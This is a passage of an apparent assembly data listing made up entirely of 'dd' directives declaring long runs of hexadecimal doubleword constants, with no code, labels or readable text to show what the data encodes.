26766CC4h, 1A4C2CDh, 3D1AA4D8h dd 0C058A584h, 88EE4390h, 0CF605D76h, 86B32228h, 88109C93h dd 0BA13C7D1h, 0A6EDC004h, 0F7B218A3h, 0AF2E30h, 9A0DB68Ah dd 12F59506h, 0D4964305h, 5022A201h, 0F646C190h, 0E81761ADh dd 9F877591h, 6197E002h, 0DA009AE5h, 91C12CA6h, 250DD1EDh dd 4E57F2Eh, 426071E4h, 3A124618h, 98B24307h, 48025C03h dd 68F0B153h, 0FD006AE3h, 0FCD42037h, 48AC38B4h, 0C722586Eh dd 0C32C9098h, 0BE09A009h, 0EB80E9C8h, 903B4848h, 2FC6240Ch dd 239F701Ch, 37B66700h, 8A7B06Bh, 3F4002DAh, 4F1EC07Fh dd 0BFF62068h, 6478E416h, 87658002h, 9B58E1B8h, 6E4AE47Ch dd 0EF330ED4h, 4117C654h, 0B6B22C58h, 218000E0h, 2A2EE48Fh dd 82F931CFh, 53A65E54h, 3AA913B0h, 1E712334h, 0C098005Dh dd 0CC10485Ch, 0BCD03CF9h, 4D008C7Ah, 92225546h, 2EB185CEh dd 1C987C88h, 130E0E7h, 0EF583143h, 0C881E998h, 8A8FC9EAh dd 0FC55ABh, 0DEC47C27h, 3A00DDECh, 91C6F320h, 49D06CEAh dd 0A4C8468h, 0F11C4B5Bh, 7111301Dh, 0BF1CBC82h, 103EE858h dd 0B6F21705h, 53407C40h, 3C04C2AFh, 0E409DE73h, 1C442025h dd 8A80EA7Fh, 182769E5h, 78C0F46Dh, 1EB7FE66h, 3A74A267h dd 10812107h, 0F22680DAh, 69CD85E6h, 0BAE039A9h, 5DD40017h dd 6F044DAAh, 1C0942E3h, 0D25F60C7h, 7ECA0928h, 0A0496BF7h dd 9DC8AD07h, 80F91168h, 3D72039Ch, 0E6FB0347h, 0A776FAAEh dd 21689804h, 7C9E6373h, 77BC07C0h, 0E648552Ch, 0DB211678h dd 1C915088h, 444DCA92h, 0AD41AF16h, 150B86Ch, 0C6A88FC0h dd 222ED7Eh, 9D146E2Ch, 873D6035h, 1FBF05BAh, 0E2B6A050h dd 0D5EC01D4h, 89C23758h, 0E0E03082h, 0E3262518h, 22F791h dd 0A148443Dh, 0E67936FAh, 8401B8E0h, 6A8F400Bh, 5C33C5F6h dd 0F83374A2h, 1260EEAh, 8034E7DCh, 5F0B1218h, 759680FCh dd 9B1302Eh, 0C428AD3Ch, 3D8A3449h, 49C1009Ch, 7CDE70Bh dd 621300BAh, 0A4CCA957h, 2900D999h, 7DF3E576h, 7BF84C2h dd 148061B7h, 43A63022h, 450B1FCFh, 65CDD99Dh, 609EC4C8h dd 1EE3D756h, 0C073C54Fh, 288F0FF6h, 2900BA10h, 0F25CA8A3h dd 0BC67482Eh, 8C8A690h, 0CF06F41Ah, 719958Bh, 0B552A08Eh dd 0F542E01Ch, 81F24E15h, 9D86343Ch, 0B826736Dh, 0BE6C2FC0h dd 0A9EA2538h, 60CFBCEDh, 7B11949Bh, 11A0914Bh, 50B48120h dd 79DAAEDFh, 8CE46140h, 6459F950h, 78B38718h, 0DAF1E979h dd 0A8D080E9h, 5C9470B8h, 0A484546Dh, 0B170C819h, 1CFB048Ch dd 0BC922D34h, 0F3E1B078h dd 4E3B1F1Ch, 2B2F8952h, 274BB481h, 5FCC485Bh, 0E874E478h dd 918C1D9Dh, 2416803Ch, 0A11F969h, 43E8A56Ch, 5A3F4390h dd 4954F5D0h, 331F2DFAh, 65403096h, 193571C0h, 7B8F0484h dd 0B8CD1AADh, 4D380C7Ch, 0F8AE41C7h, 0FF49A15h, 4E2D8A23h dd 5E36E780h, 7FE94252h, 3136B1h, 0B724A0CBh, 224D0010h dd 0D04F8CD2h, 0A700C38Fh, 950F5F36h, 18A1E26h, 0E283C9AAh dd 0D0A319A5h, 6496F1A4h, 9F872083h, 0C12934E9h, 0F1180621h dd 6F1F4967h, 807AAAEFh, 240136EEh, 0FA662C92h, 1ED092E7h dd 0C0F29C1Ch, 9B5B90Ah, 1E0F835Eh, 694712A1h, 79F459B4h dd 7EA18FBh, 484D9DB0h, 0ED0FB468h, 46CA08E0h, 79100982h dd 2418F70Ch, 4F6E4813h, 94DE2CB1h, 437821FCh, 646C4525h dd 503633Eh, 95CBC430h, 0B37881B0h, 0E0FC0243h, 5D4F32Ch dd 50CB5D58h, 0A2FCE397h, 7CC33190h, 215C77F4h, 9D1AC400h dd 3784A4BCh, 0CA280469h, 756AE8F4h, 0C0605871h, 97690F88h dd 83FF1160h, 0D476C260h, 41DC3CE1h, 26BB2792h, 0FC11849Dh dd 9560AA8Fh, 4556C4E3h, 5402354Bh, 4C572BBh, 1CE88Fh dd 5087DFC6h, 5D719352h, 2F5A4C89h, 3C2334h, 0DFC5D75Bh dd 2F39E4CBh, 0BE4A7988h, 7D581C80h, 4E63902Dh, 233C2FEAh dd 1AE3009Eh, 34F49C8Bh, 29184102h, 9BC028F7h, 5E8799C8h dd 0B49A4F0Eh, 61DC0480h, 522C39AAh, 4100B54Ch, 7AC2AC8Bh dd 649D9FA8h, 0D480FB91h, 0C8364EEEh, 62206A1Fh, 467C9024h dd 4FC1003Ah, 7C0A2FB3h, 0F9450089h, 25B4C4A0h, 5A1EAF75h dd 7E05F1B6h, 5CE5338Dh, 0DC01C7E9h, 0A06F3B51h, 68805819h dd 6C694Dh, 1EF48A3Eh, 12E2A9B5h, 8C7FF622h, 1A10CEA8h dd 661CF4E1h, 0DA0B4921h, 3244D4E7h, 0C6C40C60h, 26726D16h dd 0D8B7FCB3h, 0B84AE0C3h, 12AF522Fh, 84E29EBAh, 0A28CE314h dd 20FE3197h, 0F4409AB0h, 397E3A66h, 0CA60445Eh, 582912CFh dd 91E28862h, 5F614430h, 8C8C301Ah, 82EBC25Ah, 1ECABF60h dd 4138EA33h, 32101964h, 0C14A28EAh, 0C88A5449h, 6AE1C4h dd 3CE02780h, 6F17E609h, 5406F44Ah, 7731E426h, 0E97500CBh dd 0CEFE388h, 0F007806Dh, 296A92B6h, 30D872F9h, 0FE59A18Bh dd 603A72Eh, 62FAACA6h, 34880B8Fh, 141253BBh, 7DE7A470h dd 0E8B21618h, 70B278F3h, 310E8530h, 81F8DB2Eh, 3BE401AEh dd 0B2C6EC2Ch, 23461999h, 2388C616h, 0A2E59F70h, 343A2498h dd 9C467Eh, 74AE9E68h, 78230CE8h, 0AD520CBAh, 7D7172FAh dd 8FFCD709h, 7828108Ah, 0A4A7A0B0h, 0DC39006Fh, 47CFAC94h dd 523AE7F6h, 7AE104C8h, 0A8A6CC7Dh, 860EB6B0h, 0F600A490h dd 8B8E54ECh, 9BCC4F9h, 3156ACC0h, 0B72FEC18h, 98B88507h dd 0DC4ADC97h, 4050DF60h, 0BCDEEC19h, 88CD2D78h, 911EB1C0h dd 38DE5CBAh, 1E790310h, 5B1EA112h, 0E49AFA7Ah, 70CEBCF0h dd 0FDF8308Eh, 0C792058Ch, 861AAD53h, 5401481Ch, 383E5137h dd 0F6F25B27h, 45D178Ch, 7B5FE360h, 7F9AD06h, 0C4131CE1h dd 1CA0096Eh, 4D61023Ah, 1DF7723h, 4F0EF4C0h, 9A036492h dd 4AE86F11h, 824DA09Eh, 0C431034Eh, 0B38EA897h, 2AC16D81h dd 93D9C019h, 3DF07C76h, 4A038FDEh, 0D7547B0Dh, 0C194673Ch dd 42C0F0B6h, 8A0FB448h, 8A5817A2h, 465634CCh, 1264009Eh dd 0AC13C82Bh, 0DCA5008Bh, 9CDE8032h, 0C4130D04h, 28A44D52h dd 0E787002Bh, 0C96E9969h, 560B2D82h, 50FF2165h, 0F2D60A08h dd 7DCA61Eh, 905CC063h, 6E50EA74h, 0C44C73F0h, 0F24C791Ch dd 8C9DF8E4h, 80C00A39h, 7123B4EEh, 5525C48h, 0E8BEC2ABh dd 0C8FC8EDEh, 0EAB7C0F6h, 4C00473Eh, 0C3D79B17h, 95A5AB7Ah dd 7176AC90h, 60203041h, 820E20C2h, 86A94202h, 47A153DCh dd 603F4444h, 198D3BFh, 114E96DAh, 2AB32169h, 8CE9B404h dd 0ACA90080h, 222D1734h, 0E024A663h, 45221h, 1B71BA42h dd 229068CFh, 0C14E5327h, 0A033A5E4h, 0A23197B2h, 37001023h dd 97253CF9h, 0FD1A757Bh, 7EB0A703h, 30465E3Ch, 8C8D5A00h dd 9C1F78ECh, 4EF21527h, 56A0946Ch, 8F00F746h, 6E8A7696h dd 0A70020DAh, 4D29665Eh, 4A2DBF5h, 5594D550h, 0AC44BD8Ch dd 0EC021316h, 76540421h, 0E45E01F7h, 2A0D8D26h, 0CD03606Ah dd 0E7EABE1Fh, 0A409A8B0h, 0EB26A919h, 0CDE0C0D9h, 20880129h dd 83408FC6h, 0BCD87CA9h, 99008C7Ah, 0D057A675h, 0D9C59h dd 5B127837h, 0CD850781h, 9522C0A0h, 3135880h, 4D2CBB25h dd 48304AA2h, 0BA19B901h, 79490F12h, 83E2DA89h, 0B0DE1A18h dd 544C13DEh, 0B214A6E8h, 88CE303Dh, 0D439C201h, 0ECA3E762h dd 40914470h, 0B092238Fh, 35F8AD90h, 188A374Eh, 23542B4Ah dd 3A3000F8h, 0D8D41BF1h, 8DF53900h, 0C685DB9Eh, 0C129D3CEh dd 4E3D288h, 2CC2ECB8h, 870A25Bh, 2894A52Eh, 79C4674h dd 0C3F08CC7h, 0A8AB3243h, 4B537194h, 0C8A88E41h, 4ACBC033h dd 2750E305h, 20B5010Ch, 8BAA5970h, 8A5C2581h, 3F8C3420h dd 260ED37Eh, 367D58FDh, 5B4218B0h, 0F95081CFh, 0CC01D4C6h dd 0B28218C1h, 0F889F5CAh, 788943BEh, 321E7CF1h, 1670B440h dd 44D2AAA5h, 7B0038FCh, 0FB924F46h, 220AF03h, 1408A6C0h dd 4474FC95h, 67D10C84h, 891A0F22h, 447985h, 4D455B18h dd 5CB659B7h, 0C4E4AFh, 0F3DE7570h, 0ACBF69D5h, 67171EE2h dd 0F880E319h, 0C0E526F9h, 7FBF65B1h, 1403F2B8h, 8AE8FD4h dd 2FBCA8ACh, 52BE0E64h, 76A22242h, 0FC90CDB5h, 0A180EEF6h dd 0E44299Ch, 0FE6E00B0h, 6ACCDC4Ah, 5C3B2918h, 964FC70h dd 0C41473ABh, 402FC884h, 76E757F9h, 287E650Fh, 0C174C186h dd 5CD400C3h, 3B280246h, 0BD68B88Ah, 0D0027474h, 203335AFh dd 941970E4h, 0A4ABA30Ch, 2A568949h, 1C8CEC89h, 4C661E2Dh dd 0ABC1C7C5h, 0C62A20h, 0BF7F348Ch, 0A532E890h, 0A8913E1Dh dd 0C6496B18h, 8D54966h, 0A441EB2Fh, 27340095h, 5924A043h dd 926FFEE9h, 0F2AE175Ch, 6AB8A00Eh, 0C30F712Dh, 84E8D450h dd 9B084CFh, 0CC3EAB22h, 5614BE20h, 0E4019D46h, 0A80DFD04h dd 54F66028h, 683C0C24h, 26218D08h, 0CCD608A8h, 0A8EC1602h dd 79A0A019h, 5EBEB2DCh, 23302E8Ch, 0AD3A0035h, 7E78E355h dd 10105B5Ch, 51284B17h, 60649878h, 83DB8995h, 0DC1E3814h dd 0BB521586h, 60E82CADh, 4AEAA000h, 0E55516Ch, 27A3025Ch dd 0B61E430Fh, 465EE45Ch, 96943F30h, 0E6130Ah, 187C46E0h dd 3A2BCD00h, 0A9378E6Bh, 0F9B0B1A1h, 4F0E1835h, 0ABC4601Fh dd 5E80CBDAh, 22312456h, 34E5A550h, 50B47BC9h, 4600E13Bh dd 490F7B1Fh, 12DAAA3Fh, 0B02F26CAh, 0B4AD8FDCh, 11C10AC4h dd 56D9AB7Ch, 0E434283Ah, 45EACAAh, 6ABFF441h, 20E0ADFFh dd 0BAF22FCEh, 0DF328060h, 91CAAA0Bh, 64B047EFh, 98FC60F9h dd 3E34E85Eh, 3E3A4012h, 0F3786312h, 43BB20CCh, 68F64A0Bh dd 2AB825A0h, 0C296304h, 0FCBC1F2Fh, 0FB1A20A2h, 0D04F51CCh dd 8EEC68DDh, 59AC1800h, 49E726C9h, 0FC9697DEh, 0B5BF2144h dd 9F004CB7h, 0B1E88591h, 80B40125h, 0EDABACBh, 3C242447h dd 0F2E7FB00h, 39823B18h, 451302BEh, 0ADE31022h, 0A924D45Eh dd 6C9EF420h, 9D465Eh, 0F4BD64F0h, 9E82DC0h, 219D76C6h dd 7179E45Bh, 35003618h, 6C3B7344h, 0C72B396Eh, 0C958A858h dd 4328E804h, 0C8A3513Dh, 77D1F649h, 21530003h, 0C2E04E1h dd 0FD6B8E7Fh, 0EAE407C8h dd 9092F7A5h, 0F4BD8Fh, 0ABCD6F5Dh, 3C0166B5h, 4A70798Eh dd 0F039271Ch, 8C6BEB00h, 0AB112996h, 0D4225407h, 0FB231883h dd 52CE5828h, 87EFDE00h, 0A6C5BF06h, 30D15499h, 0AF1E9218h dd 0B30FA162h, 0B0A3533Ah, 4C3075B2h, 127D0020h, 0A50CD49Ch dd 0C06242BAh, 0DA6EC650h, 2044B080h, 261AC216h, 0FBF0A59Ch dd 2C76705Ch, 6B22D216h, 1812B4A0h, 0E12942ADh, 0A701BE60h dd 0C8360A4Ch, 0BDD45DBAh, 2A0E45Bh, 1828DA64h, 18804D9Ch dd 0CCE14F7Fh, 0C744203h, 8897CAABh, 175EFAF9h, 0DF8C586h dd 6FC8C374h, 5200386Fh, 8630A601h, 4654BB2Fh, 5612C4B8h dd 50023C4Dh, 0D6772660h, 0CE8542BCh, 0A4532C01h, 0DE0FC468h dd 95A4BFBCh, 329481D5h, 88DC4FCEh, 18CAC07Bh, 4E00B78Eh dd 991E3479h, 255C68A1h, 4D141AFh, 7B18FC79h, 0D1403F3Ch dd 92CCFC98h, 5904718Ah, 0CEC8199Eh, 1B4839ADh, 7752FA80h dd 0EF81AF61h, 8A6C102h, 0E0E994F9h, 95B87E9Ch, 0DE836C00h dd 0C815A0B4h, 0A8D85D58h, 58F48C9Ch, 74F24A02h, 5D5BE644h dd 0E063E091h, 3601D7BDh, 0E03F9BD5h, 9D319E74h, 112A1C0h dd 3492546Bh, 2C42AA8Dh, 0E82727B8h, 74A79488h, 40C9C38h dd 87EA3736h, 0ADB8C2F0h, 4B0ED448h, 171980h, 0A4E5C94Ah dd 7AE21B0Ch, 240CE8F0h, 0B92293C4h, 0B71C042Ch, 0ACF77968h dd 66AA2728h, 22204674h, 0AB230C52h, 27697FA3h, 34A1FE63h dd 0F7E09883h, 584226B7h, 0B1550022h, 0C47B9D3Eh, 81FF1602h dd 64D423F8h, 80C6EE48h, 0DD5B1AACh, 84B8EC84h, 481483C0h dd 0ED978730h, 83E6C06Ch, 38169477h, 1088A747h, 981A0F8Eh dd 819EA619h, 208C0F65h, 6F12F52Dh, 0ACB81802h, 48605C21h dd 60214B84h, 8DA1089h, 9E2EE9FEh, 3F019D04h, 9701F02Ch dd 8C3D8441h, 5CB204h, 8240D0A3h, 0B77E0F16h, 2DB099h dd 7C4BC9EBh, 4EE53CE2h, 4F0E7A80h, 5D36E7C3h, 12EF933Ah dd 98973B5Ch, 23910D20h, 4E25098Ah, 6479C793h, 3D2C0F64h dd 67298F66h, 0B7188021h, 0E149D2CBh, 64302E74h, 0E1FACBAh dd 73CC5711h, 48F9E360h, 290C5254h, 0F8C5B810h, 0CE9F4B59h dd 25C3101Ch, 3450A80Ah, 93D359C0h, 4CDACD21h, 3D4A18C3h dd 0C026A007h, 0F3FE692Fh, 0E4EBA087h, 0DC5C942Ch, 67D85709h dd 25707EAFh, 0A8B914CEh, 0C0183D79h, 36A37C00h, 0C2152044h dd 6004BDA9h, 71680191h, 3B2B1085h, 0E3A239Ch, 409D4BD0h dd 643F53DEh, 48090237h, 7B61BB5Ch, 56202E38h, 7A02FD46h dd 0C828DB7Ch, 0F14C305Dh, 417B0223h, 0B3DD06D8h, 2D1110F6h dd 8E28255Fh, 0CE7A88ECh, 8C450820h, 88056FBAh, 9E7A97D5h dd 0DBD300C0h, 0DD834B62h, 702B3A3Ch, 0B4009623h, 50DE8013h dd 0C4B50B5Dh, 2422C75Eh, 85EADB6h, 2F76054Fh, 2731CBDh dd 0C66F2A88h, 8058666Dh, 0AF5A8238h, 719469F0h, 66B32C10h dd 0AC68FD41h, 48C77BCh, 0B59E4C0Eh, 0AE3Ch, 646F07D7h dd 588C0022h, 292E293h, 8F27AEDFh, 50B7F3h, 7281556Eh dd 0F158383Ch, 0D12402ACh, 7242E7FDh, 0E1CEF478h, 0CC78DCh dd 0BCE86D72h, 0BE377491h, 9761D00h, 0A32955A5h, 0FCA75040h dd 2069095Bh, 0EC7E5F5Eh, 13324676h, 0F65A62h, 0C866A312h dd 1E4B2C18h, 44BBC9Dh, 6AC19188h, 203FED28h, 6CFB9CF4h dd 0A4D95200h, 0AFF49117h, 0C9F309B0h, 0D0714D79h, 27FDFCAFh dd 338F3480h, 934AAEC5h, 18558CB0h, 0D12223E3h, 2C26ECF7h dd 0E7A550DBh, 67FFC460h, 0BF1EEF01h, 1807C838h, 0E9AF3EF2h dd 0A67988D3h, 3A366D30h, 29963213h, 8198D5C9h, 39448334h dd 0BA5B7A4Ch, 0B99498C8h, 0E91128h, 0A7FFBE9Fh, 261E3076h dd 11495C7h, 0D22D23B4h, 0FC6E7B63h, 0CC53B900h, 0CB725E6Eh dd 692576EEh, 0EE20CC5Dh, 0F008B797h, 9F2F3D88h, 0FD91F49Dh dd 0F97ACF82h, 0C25C64E0h, 6021D8A5h, 1B18F851h, 0ACF66F01h dd 0C96CCABCh, 40650470h, 0B324B825h, 6DAD2022h, 0F245C084h dd 399724C7h, 0BC238970h, 0D303CF2h, 618A032Ch, 0C8A21CB1h dd 0AF42A3BAh, 1F4B8D4h, 57BCED44h, 2E9201A6h, 3223BC3Ah dd 0C65D6A01h, 0AC681156h, 0A2A36002h, 0B0F2F6C1h, 0E88B195Ah dd 0F5C076C8h, 7CFB3ACAh, 2FE4251Ah, 0A10EA418h, 4BD08A80h dd 0AD988414h, 125DACCCh, 4BF0E09h, 6F4758h, 11691EACh dd 424D4AABh, 0D2803AE8h, 0FE6460E7h, 3ACC2060h, 46516D04h dd 8FCC56Fh, 0DC097E25h, 357900F1h, 0AD0B7418h, 0A194611Ah dd 7AAB1958h, 899B082h, 745CCDE0h, 0D32C203Eh, 43580010h dd 796703B0h, 70618728h, 14EDD8F8h, 0FEB23CB2h, 79115330h dd 0E506272Fh, 0A1CA78C3h, 32116C97h, 48635181h, 4E0C7212h dd 32832C20h, 0EBC90058h, 2AA9BC18h, 1A1F2BEDh, 8D84E45Eh dd 0B8F8FAAAh, 0C033CF00h, 0EA3150ACh, 6255AF09h, 0D6C4DCCCh dd 0C93EAF02h, 0E0ABC39Bh, 0F6335034h, 50B79DA5h, 0A8AB9980h dd 190D8ADh, 0F533E58Dh, 3EE44A52h, 302D644Eh, 9A0DA28h dd 6EB3BB97h, 0D32588F6h, 53A470F4h, 8B38A97h, 123CA108h dd 8F04E82Eh, 99D27D58h, 28AED824h, 918676C4h, 18FA71B8h dd 0EDA05A0h, 0A86E5882h, 0D1E13254h, 0DC50D491h, 991B2A00h dd 0CAF20FF7h, 58D300D4h, 6F68A186h, 0C5FC1829h, 0D1480E30h dd 0C97C10h, 0F132757h, 8A91E6DFh, 5B129BF6h, 0C845B623h dd 0B845CF79h, 9EE28Eh, 73D3EFC0h, 5D67A6ABh, 4DF2C419h dd 70AC5C9Ah, 0DA24B9ADh, 0DE98A2h, 208F19B9h, 0A0DEFCDBh dd 69984A03h, 0B4A2BADDh, 460BBCACh, 702EB176h, 6064A3E2h dd 3252FC80h, 4498AB2Dh, 26A028D0h, 8B1749B4h, 6690B4h dd 7D043F0h, 0DE99ADBAh, 0C34863Ah, 0C94D01E7h, 0A0DA00EEh dd 5B40EF74h, 7B04A8CFh, 13306BF6h, 2F7042BBh, 7C74B878h dd 0D3BB0F85h, 0B43A8424h, 0EE127323h, 0E8AD8BDh, 10FA0010h dd 0E7FB3B83h, 3F29C539h, 12850746h, 784025B9h, 4CABF20h dd 2F219357h, 0B224E36Fh, 140E3031h, 0F516761Fh, 9D0475EEh dd 2FAE588Fh, 0F62334h, 0FFF3C8D9h, 9E3E1E70h, 0B82D7687h dd 94C5253h, 3CBD5E66h, 0FF51F85Eh, 0A7AB2110h, 3F14C49Dh dd 0C6860A37h, 38C27566h, 0B1964100h, 23F8BA5Ch, 5AA70901h dd 405EE376h, 0A8E25292h, 87191A82h, 0D17E881Bh, 7D50CB3Ah dd 2E01CC11h, 80BC285Eh, 0F4C7B9BFh, 0E59C2C9h, 2C60B387h dd 0CD327018h, 2968B880h, 0DC0F65h, 0CA2335B4h, 3600A44Dh dd 0C99FAC38h, 2CCAF31h, 2DD88A86h, 0B7D0B26h, 2DCF048h dd 5EC45FE0h, 9C69C889h, 0B4092E1Dh, 0F8AF09AFh, 563FC4Ch dd 70E30EADh, 9388F81Fh, 4D4F9C04h, 0EFC2AC04h, 7A101040h dd 97B4C421h, 7EC09C00h, 4697493Bh, 0E9384410h, 22435496h dd 9888C847h, 0DFC80042h, 0FC7C0B40h, 8509342Ch, 5CF88AB4h dd 85589EECh, 0BCE72967h, 0FAAE06B4h, 68198D2h, 6F482745h dd 78303180h, 0A495EC2Dh, 0C7D25FE2h, 5A8D7018h, 0F8BCEDC2h dd 2AC17E05h, 91A0B8F0h, 4BEC20A8h, 7A2CA6BCh, 2DDB0E40h dd 0C84BF2ACh, 0A25D76EAh, 0F6A58614h, 9C467454h, 3EB81200h dd 0C66488A4h, 0C88ABF2Fh, 0D9CE0Ch, 0F03F470Eh, 0AB1709FDh dd 0F4CD7602h, 5FB15840h, 0A3CA7882h, 0F9C4B8E7h, 5BC0D660h dd 0BDF68339h, 60E2A7BCh, 246ABFB0h, 97F84F71h, 81A0082Eh dd 10E83212h, 0C8508A92h, 0DB00C9FAh, 7DBFB0A2h, 2CA6C002h dd 551DD205h, 0EB00FC37h dd 10CFC190h, 58B6004Eh, 0B0407F41h, 0BCB9CB29h, 0A8AD8B0Ah dd 0B841FD80h, 10702CDh, 2D729EA7h, 9EA5D91Ah, 261234D8h dd 9F31E431h, 18625902h, 4676B4D4h, 74F0591h, 0A0F2C6F8h dd 1DD50E09h, 0F2DA070h, 9F78876Fh, 812B86h, 52DD0296h dd 82AB8E27h, 0F728EC00h, 5644109Ah, 48CF6759h, 0F3CAB2DCh dd 0AC283875h, 247200C8h, 2A4B3F27h, 1C00EA74h, 0CEADCB75h dd 225BFDDh, 0BB2F6640h, 3068E9FEh, 80AA23E6h, 91A0175Dh dd 0D2F8096h, 9DBD1ACFh, 0D5336400h, 209FC828h, 0ED783524h dd 0C0411265h, 93CF386h, 75750A8h, 74399BF0h, 0AC06F494h dd 0A38ADB69h, 2B540E99h, 972EFD67h, 642F2320h, 0A432FBC4h dd 5D2C0866h, 1098E82Eh, 387AACD3h, 2402BF79h, 0BB8F46AFh dd 0E4205E10h, 0A73C5EC5h, 7480096Eh, 0D0F3496Ch, 4C529770h dd 3F003636h, 0C0F4B8Fh, 0CA0A7C2Fh, 94EDA466h, 708C7B25h dd 7F0FCE0Bh, 89BD61DDh, 1EEC843Eh, 0A55B74C1h, 6E249C2Eh dd 443BEF4Eh, 54007A23h, 9C38C2F5h, 0EE1B0E27h, 0AB4E7133h dd 0A0F02737h, 0E98A7B9Bh, 869D5412h, 0E88550F2h, 23A43EA7h dd 8E3D02FCh, 90778AB6h, 9335D4h, 0AD999EFEh, 80FD10E8h dd 0DD5B8902h, 0FBCAF62Dh, 166D8B00h, 0B1CFF0C7h, 59670C80h dd 0DB5AED52h, 0E9807C9Bh, 0CC0B9F2Bh, 67A11204h, 84F28C5Dh dd 3E303AE2h, 0CBE80077h, 82859B03h, 5E161565h, 0F8E1BD7Eh dd 3D00882Fh, 8A5C55F8h, 0D0B4259Eh, 2EC21288h, 2F8CA077h dd 27E3060Bh, 0DC98A92Bh, 5276DC98h, 0B88C2009h, 11ECD4C0h dd 1ACE048Bh, 44AE9909h, 0AB6487ECh, 3A234C3Bh, 38E5D500h dd 0E00EFEC2h, 98C125BCh, 42E67860h, 1984697h, 0EAB91028h dd 28BAC483h, 548A3EB8h, 0CC9D6FE8h, 0A0CC4BC0h, 0F84AF71Ch dd 580094CAh, 0FB8B2A6Ch, 8D4AE9EBh, 5C0054E2h, 48C58E29h dd 12000522h, 7D0C7FFBh, 926B1Eh, 41C360A2h, 8FD6AB18h dd 0F1DC3809h, 0B0B025C4h, 0F008CCh, 1716207Ch, 1E09C259h dd 0C34BE03h, 0E0014386h, 97C4FD7Ah, 3501ECE6h, 24230E12h dd 0E03298A8h, 595CC10Fh, 9201652h, 845BAFE4h, 8BE618B1h dd 2A216A01h, 8C048053h, 8A0F8429h, 2C0F2748h, 0AC5237BBh dd 894B40E3h, 0F49B3E14h, 0F1CEA3C7h, 7EBF0F46h, 0CC710C20h dd 1C620047h, 0E28E0178h, 6C981257h, 681ABEF2h, 0DDB08D71h dd 3111E09Dh, 2BA0868Fh, 1AAF72C1h, 0D18E2125h, 5CC86A38h dd 0DB003F46h, 0FA4F2A73h, 0C021390h, 3F830D25h, 805CD442h dd 395E0B4Ch, 0C8042C18h, 6A484684h, 943040C9h, 0E8A89835h dd 0A0691755h, 0AC10A98Fh, 0CDA30033h, 0C428E896h, 3BE97976h dd 4AA6874h, 0BA8507D8h, 66482405h, 4EB84C8h, 0B4A7815Ch dd 5F68BCFAh, 0C880CCDBh, 86BFAF68h, 0DD8C0D00h, 0C937ACC1h dd 28A9B516h, 0EFAD245Eh, 80A4070h, 3800CA96h, 8258D78Fh dd 1E04C212h, 183653Bh, 86066403h, 3DC887DEh, 0F6C06038h dd 127CCB14h, 0BC34D7E0h, 0A4DEC7E8h, 0C5251E61h, 4CC4F420h dd 43014899h, 5E52BACFh, 2CD12AE7h, 4052A59h, 0F79690h dd 0ACC09BBEh, 8AAB4B54h, 0F8E64FF8h, 0D34E0E7h, 7612A920h dd 74BC95C4h, 0AC21CDA2h, 0F42C92FAh, 19FF8A09h, 0FB76207Ch dd 53047318h, 0EA941270h, 0D3EA08BCh, 0F7C8348Bh, 992ECCC0h dd 0A5C002B9h, 0DDD1C7Ah, 3B07DC40h, 804D07Dh, 0C928DFBCh dd 0B18B6CE4h, 0B7EF0120h, 0EC839279h, 0D512A89Dh, 38F2B4F8h dd 0A4455688h, 6F9830AAh, 104B738Dh, 887E40DCh, 364F58A8h dd 24A9F4C4h, 23142BD7h, 4CB9029Fh, 0A48156D1h, 2020D70Eh dd 69083854h, 2681B21h, 89E2F218h, 377D2042h, 3CCD0024h dd 0C010C3C1h, 44674F02h, 7C3BA556h, 0E3BC9220h, 3076E2BCh dd 60002E1Bh, 0AC45F675h, 45F26A0h, 1AD4BB92h, 0B417BAA9h dd 6A3BE8CDh, 0A37F02E8h, 841ACB74h, 0A0C1B8D0h, 742FC189h dd 0C1F0AC1Ch, 0F86ABB22h, 4A5E9064h, 0E2B4B3C7h, 0C0793092h dd 0D9CABF04h, 1480F9A0h, 9DE1F655h, 0D5E6064h, 387794B4h dd 75008758h, 6870E47Eh, 2F1732B5h, 40C5F6A3h, 4077E8E0h dd 5A02AF67h, 3A02D31h, 0B09DF592h, 81807491h, 0BDB97158h dd 0EA7A8A13h, 805A3C04h, 0C088B813h, 5D5448F7h, 0FCC095F9h dd 12D1AAEh, 2074529Eh, 0B9763EFh, 40305E10h, 4D29C278h dd 0CD407000h, 0E9F1FC7Ah, 7F6F0E87h, 0A8209B7Bh, 0C2AFBF4Ch dd 738C3625h, 0B81192F0h, 783E4BD4h, 29009223h, 0DACF5BC5h dd 440124EBh, 84EA40DCh, 28036BABh, 0AE9F87B7h, 52881058h dd 2F380589h, 25EEE2BBh, 0A6008CA0h, 5E5DAF01h, 12713FE9h dd 0CC3557C2h, 0BF02C6BEh, 0AB82F255h, 0D0A7D8F1h, 0E065EBF0h dd 8180DB2Eh, 5ED213D4h, 4F10BE8h, 1E5B2D98h, 282DAFF8h dd 9788B00Bh, 0BB2DB2C0h, 51CF61BEh, 242CD17Dh, 5E205BA8h dd 5CE1BDC1h, 0C3281026h, 9ED892C4h, 8A00DC88h, 0D20D261Fh dd 2729316Bh, 7CE0B310h, 0AF050204h, 7E2CCF93h, 9F23706Ah dd 0BC341600h, 7548ACAEh, 78C20735h, 799F9837h, 0E462605Ch dd 81C45E2Ch, 274B1483h, 0C4221D19h, 8830FAE2h, 989001Ch dd 0AB2D26F3h, 0B4A4C41Eh, 92CA4112h, 0C7BC5CF9h, 8FED5C06h dd 719A18Ah, 0A5CBF3DEh, 551A22BBh, 88F4046Ah, 9C539C12h dd 78E3B8E6h, 1DE00FBBh, 4D221226h, 0FE712Ah, 4ACB25FCh dd 0DE3F0821h, 0AD767006h, 268146C2h, 0F00609Bh, 14235D68h dd 0C2C8AEB8h, 20D8F40Eh, 9335F69h, 0F112ADB1h, 323F20D0h dd 5B2CA04Dh, 0C1689A8Ch, 0A0F95384h, 0D06B0431h, 7F52C4C8h dd 0A5FFE43Eh, 5A4C685h, 8DE9D763h, 6E34C021h, 0FF01DB3Dh dd 58EA34B7h, 0F8EBF599h, 0A8AA8ACFh, 7B85B8h, 0D1F05E79h dd 0D88E5198h, 0F8653101h, 0CDE2EEF2h, 70B2EC33h, 0F2D85630h dd 1AAD0B1Ch, 49385BDh, 0C912B012h, 7EC04801h, 0C86B4493h dd 0B23D8250h, 8FE86172h, 0C06B0940h, 0F5653A50h, 34A51016h dd 5505E4E9h, 0E0231967h, 4B48FACh, 0F94674h, 0C8AD7975h dd 97C3CF3Ch, 789890E6h, 88C4AF4Fh, 0E8AC74AAh, 8CFBAC40h dd 4DF7DA06h, 205877BAh, 0AA3A48B7h, 881CA8CAh, 2B311EEAh dd 80E714Eh, 0F6F24C32h, 38532230h, 